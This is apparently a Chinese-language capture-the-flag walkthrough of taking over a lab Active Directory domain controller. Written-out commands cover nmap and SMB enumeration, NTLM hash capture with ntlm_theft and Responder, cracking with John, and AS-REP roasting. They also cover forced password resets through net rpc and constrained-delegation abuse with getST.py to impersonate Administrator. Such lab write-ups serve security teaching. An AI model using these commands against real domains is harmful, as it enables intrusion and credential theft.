靶机ip:10.10.219.65

信息收集

nmap扫描

1
nmap --min-rate 10000 -A -sV -sC -p- 10.10.219.65
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 13:49 CST
Nmap scan report for 10.10.219.65
Host is up (0.63s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-25 05:50:16Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=HayStack.thm.corp
| Not valid before: 2024-10-24T05:48:35
|_Not valid after: 2025-04-25T05:48:35
| rdp-ntlm-info:
| Target_Name: THM
| NetBIOS_Domain_Name: THM
| NetBIOS_Computer_Name: HAYSTACK
| DNS_Domain_Name: thm.corp
| DNS_Computer_Name: HayStack.thm.corp
| DNS_Tree_Name: thm.corp
| Product_Version: 10.0.17763
|_ System_Time: 2024-10-25T05:51:48+00:00
|_ssl-date: 2024-10-25T05:53:13+00:00; +22s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49673/tcp open unknown
49675/tcp open unknown
49703/tcp open unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: HAYSTACK; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 21s, deviation: 0s, median: 21s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-10-25T05:51:48
|_ start_date: N/A

TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 662.94 ms 10.14.0.1
2 663.13 ms 10.10.219.65

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 249.78 seconds

可以看出这是一台域控,并且域名是HayStack.thm.corp,将这个和 thm.corp添加到/etc/hosts

SMB

1
smbclient -L //10.10.219.65

image-20241025135138717

尝试连接Data目录

1
smbclient //10.10.219.65/Data

image-20241025135442301

发现每次操作文件名都会变化,先将文件下载到本地查看

image-20241025135623489

找到初始密码ResetMe123!

image-20241025135706715

在另一个pdf文件中发现一组用户名密码LILY ONEILL:ResetMe123!

rpc

rpcclient -U "" 10.10.219.65

image-20241025140217254

并没有什么信息

获取user.txt

在之前进行smb探测的时候发现目录会随着每次访问,在一定时间后就会改变文件名,说明不止我们一个人在访问这个目录,所以我们可以使用工具尝试在smb中捕获另一个人的hash

使用ntlm_theft工具创建恶意文件

1
python3 ntlm_theft.py -g url -s 10.14.90.122 -f aaa

image-20241025142146578

在攻击机上监听

1
sudo responder -I tun0

将生成的文件传到靶机上

image-20241025142631944

在监听处我们就捕获到了一组hash

image-20241025142732867

将其保存到hash文件,用于破解

使用john工具破解

1
john hash --wordlist=/usr/share/wordlists/rockyou.txt 

image-20241025143439961

成功获取AUTOMATE的密码Passw0rd1

尝试登录

evil-winrm -i 10.10.219.65 -u AUTOMATE -p Passw0rd1

image-20241025143753555

Desktop找到user.txt

横向移动

AS-REP Roasting

使用bloodhound-pytohn信息收集

1
bloodhound-python -ns 10.10.219.65 --dns-tcp -d THM.CORP -u automate -p Passw0rd1 -c All --zip

image-20241025144624398

将收集的信息使用Bloodhound分析

image-20241025150408916

发现有三个能够AS-REP攻击的用户

  • ERNESTO_SILVA@THM.CORP
  • TABATHA_BRITT@THM.CORP
  • LEANN_LONG@THM.CORP

将用户名保存到users文件

使用GetNPUsers.py请求用户的TGT

1
GetNPUsers.py thm.corp/ -usersfile users -dc-ip 10.10.219.65

image-20241025151428929

分别使用john爆破

image-20241025152652439

最终发现只有TABATHA_BRITT用户成功爆破,密码是marlboro(1985)

再对该用户进行信息搜集

1
bloodhound-python -ns 10.10.219.65 --dns-tcp -d THM.CORP -u TABATHA_BRITT -p 'marlboro(1985)' -c All --zip

image-20241025161304577将收集的信息使用Bloodhound分析

image-20241025162837120

找到利用链,我们想要到达DARLA_WINTERS,就是从TABATHA_BRITTSHAWMA_BRAYGenericAll,利用ForceChangePasswordSHAWMA_BRAYCRUZZ_HALL,最后利用GenericWriteCRUZ_HALLDARLA_WINTERS

image-20241025162252026

image-20241025162152712

我们发现可以通过RPC利用GenericAll更改用户的密码,对于ForceChangePasswordGenericWrite同样可以适用

我们使用TABATHA_BRITT用户来操作

1
2
3
4
5
net rpc password "SHAWNA_BRAY" "Aa123456!" -U "thm.corp"/"TABATHA_BRITT"%"marlboro(1985)" -S "10.10.219.65"

net rpc password "CRUZ_HALL" "Aa123456!" -U "THM.CORP"/"SHAWNA_BRAY"%"Aa123456!" -S "10.10.219.65"

net rpc password "DARLA_WINTERS" "Aa123456!" -U "THM.CORP"/"CRUZ_HALL"%"Aa123456!" -S "10.10.219.65"

image-20241025164828710

使用crackmapexec验证一下

1
crackmapexec smb 10.10.219.65 -u DARLA_WINTERS -p 'Aa123456!'

image-20241025165434092

修改成功!再对DARLA_WINTERS信息收集

1
bloodhound-python -ns 10.10.219.65 --dns-tcp -d THM.CORP -u 'DARLA_WINTERS' -p 'Aa123456!' -c All --zip

image-20241025172834592

发现DARLA_WINTERS用户可以通过CIFS服务进行委派攻击,我们就可以模拟域控上CIFS服务的管理员

委派攻击

ImpacketgetST脚本将请求服务的Ticket 并将其保存为 ccache。如果帐户具有受限的委派权限,可以使用 -impersonate 标志代表其他用户请求票证。

使用 impacketgetST.py获取票据

在请求票据之前,我们先输入下面这个命令。这个命令可以从指定的 NTP 服务器上获取准确的时间,并将系统时间调整到与之同步。

1
ntpdate -s haystack.thm.corp

然后再开始获取票据

1
getST.py -spn "cifs/haystack.thm.corp" -dc-ip 10.10.219.65 -impersonate "Administrator" "thm.corp/DARLA_WINTERS:Aa123456!"

image-20241025175722380

使用KRB5CCNAME环境变量设置 ccache

1
export KRB5CCNAME=Administrator@cifs_haystack.thm.corp@THM.CORP.ccache

再使用wmiexec.py登录Administrator

1
wmiexec.py -k -no-pass Administrator@haystack.thm.corp

image-20241025181646460

成功获得Administrator的权限

image-20241025181845059

Desktop找到root.txt